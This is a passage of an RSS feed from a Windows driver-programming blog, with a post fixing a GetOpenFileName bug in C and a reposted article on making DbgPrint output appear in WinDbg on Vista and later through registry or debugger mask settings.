<p><strong><span style="font-size: 24px; color: #ff0000;">需要使用管理员权限运行</span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/windows-kernel/id=68/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using GetOpenFileName</title>
		<link>http://lagon.eu5.org/other/id=60</link>
		<comments>http://lagon.eu5.org/other/id=60#comments</comments>
		<pubDate>Mon, 21 Apr 2014 14:51:30 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Others]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=60</guid>
		<description><![CDATA[I made a stupid mistake today. I need to get a file path, so I use GetOpenFileName .Following is the definition: BOOL GetOpenFileName(   LPOPENFILENAME lpofn); According to the description in MSDN,I just need to fill the OPENFILEN<a class="read-more" href="http://lagon.eu5.org/other/id=60">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p>I made a stupid mistake today.</p>
<p>I need to get a file path, so I use GetOpenFileName .Following is the definition:</p>
<p><strong><span style="color: #ff0000;">BOOL GetOpenFileName(   LPOPENFILENAME lpofn);</span></strong></p>
<p>According to the description in MSDN,I just need to fill the OPENFILENAME  structure.And here is my code:<br />
<span style="background-color: #999966; color: blue;"><br />
char szFilePath[MAX_PATH];<br />
OPENFILENAME  stOpenFileName;<br />
BOOL            zRet;<br />
RtlZeroMemory(&amp;stOpenFileName ,sizeof(OPENFILENAME));<br />
stOpenFileName.lStructSize = sizeof(OPENFILENAME);<br />
stOpenFileName.lpstrFilter = &#8220;驱动(*.sys)\0\0&#8243;;<br />
stOpenFileName.lpstrFile = szFilePath;<br />
stOpenFileName.nMaxFile = MAX_PATH;<br />
stOpenFileName.Flags = OFN_FILEMUSTEXIST;<br />
zRet = GetOpenFileName(&amp;stOpenFileName);</span></p>
<p>The code above can run successfully,but it never shows the file-choosen dialog.</p>
<p>Then  I search for  the usage  of  GetOpenFileName,But I got nothing.</p>
<p>After about an hour ,I ran the program and get the dialog with messy code. So I rechecked  my code and  read MSDN&#8217;s</p>
<p>description about OPENFILENAME .And I found that :</p>
<dl>
<dt><span style="color: #ff0000;"><b>lpstrFilter</b></span></dt>
<dd><span style="color: #ff0000;">Long pointer to a buffer that contains pairs of null-terminated filter strings. The last string in the buffer must be terminated by two NULL characters.</span></dd>
</dl>
<p>Finally,I descovered that I&#8217;ve forgot to initialize <span style="color: #0000ff;">szFilePath  <span style="color: #000000;">.After I add :</span></span></p>
<p><span style="color: #ff0000;">RtlZeroMemory(szFilePath ,sizeof(char)*MAX_PATH);</span></p>
<p>The dialog appeared.</p>
<p>&nbsp;</p>
<p>Following is the correct code:<br />
<span style="background-color: #999966; color: blue;"><br />
int main()<br />
{<br />
char szFilePath[MAX_PATH];<br />
OPENFILENAME  stOpenFileName;<br />
BOOL            zRet;<br />
RtlZeroMemory(&amp;stOpenFileName ,sizeof(OPENFILENAME));<br />
RtlZeroMemory(szFilePath ,sizeof(char)*MAX_PATH);<br />
stOpenFileName.lStructSize = sizeof(OPENFILENAME);;<br />
stOpenFileName.lpstrFilter = &#8220;驱动(*.sys)\0\0&#8243;;<br />
stOpenFileName.lpstrFile = szFilePath;<br />
stOpenFileName.nMaxFile = MAX_PATH;<br />
stOpenFileName.Flags = OFN_FILEMUSTEXIST;<br />
zRet = GetOpenFileName(&amp;stOpenFileName);<br />
MessageBox(NULL ,stOpenFileName.lpstrFile ,NULL ,0);<br />
return 0;<br />
}</span></p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/other/id=60/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>【转】Getting DbgPrint Output To Appear In Vista and Later</title>
		<link>http://lagon.eu5.org/windows-kernel/id=28</link>
		<comments>http://lagon.eu5.org/windows-kernel/id=28#comments</comments>
		<pubDate>Mon, 07 Apr 2014 05:17:30 +0000</pubDate>
		<dc:creator><![CDATA[Lagon]]></dc:creator>
				<category><![CDATA[Windows Kernel]]></category>

		<guid isPermaLink="false">http://lagon.eu5.org/?p=28</guid>
		<description><![CDATA[原文链接 The problem: Your DbgPrint or KdPrint messages don&#8217;t appear in WinDbg (or KD) when you run your driver on Windows Vista, Windows 7, or Windows 8. The reason?  Versions of Windows starting with Vista automatically map Db<a class="read-more" href="http://lagon.eu5.org/windows-kernel/id=28">[ 更多... ]</a>]]></description>
				<content:encoded><![CDATA[<p><a title="http://www.osronline.com/article.cfm?article=295" href="http://www.osronline.com/article.cfm?article=295" target="_blank">原文链接</a></p>
<p><span style="font-family: Arial; font-size: small;">The problem: Your DbgPrint or KdPrint messages don&#8217;t appear in WinDbg (or KD) when you run your driver on Windows Vista, Windows 7, or Windows 8.</span></p>
<p><span style="font-family: Arial; font-size: small;">The reason?  Versions of Windows starting with Vista automatically map DbgPrint and friends to DbgPrintEx.  Now, you may recall that DbgPrintEx allows you to control the conditions under which messages will be sent to the kernel debugger by filtering messages via a component name and level in the function call and an associated filter mask in either the registry or in memory. </span></p>
<p><span style="font-family: Arial; font-size: small;">DbgPrint and KdPrint are mapped to component &#8220;DPFLTR_DEFAULT_ID&#8221; and level &#8220;DPFLTR_INFO_LEVEL&#8221;.  Of course xxx_INFO_LEVEL output is disabled by default.  So, by default, your DbgPrint/KdPrint doesn&#8217;t get sent to the kernel debugger.</span></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial; font-size: small;">How to fix it? Two choices: </span></p>
<ul>
<li>
<div><span style="font-family: Arial; font-size: small;"><b>Enable output of DbgPrint/KdPrint messages by default</b> &#8212; Open (or add, if it&#8217;s not already there) the key &#8220;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter&#8221;.  Under this key, create a  value with the name &#8220;DEFAULT&#8221;  Set the value of this key equal to the DWORD value 8 to enable xxx_INFO_LEVEL output as well as xxx_ERROR_LEVEL output.  Or try setting the mask to 0xF so you get all output.  You must reboot for these changes to take effect.  Note&#8230; Don&#8217;t set the value named &#8220;(default)&#8221; &#8212; You actually have to create a new value with the name &#8220;DEFAULT&#8221; and set that to whatever value you want (0xF, for example).</span></div>
</li>
<li>
<div><span style="font-family: Arial; font-size: small;"><b>Specifically change the component filter mast for DPFLTR</b>. Starting with Windows Vista you need to set the mask value for the DWORD at Kd_DEFAULT_MASK (&#8220;ed Kd_DEFAULT_MASK&#8221;).  You can s</span><span style="font-family: Arial; font-size: small;">pecify 8 to enable DPFLTR_INFO_LEVEL output in addition to DPFLTR_ERROR_LEVEL output, or 0xF to get all levels of output.</span></div>
</li>
</ul>
<p><span style="font-family: Arial; font-size: small;">See the WDK documentation for <i>Reading and Filtering Debugging Messages</i> (follow the path: Driver Development Tools\Tools for Debugging Drivers\Using Debugging Code in a Driver\Debugging Code Overview) for the complete details on the use of DbgPrintEx/KdPrintEx.  Or look at the<i>Debugging Tools For Windows</i> documentation (Appendix A) on DbgPrintEx.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://lagon.eu5.org/windows-kernel/id=28/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
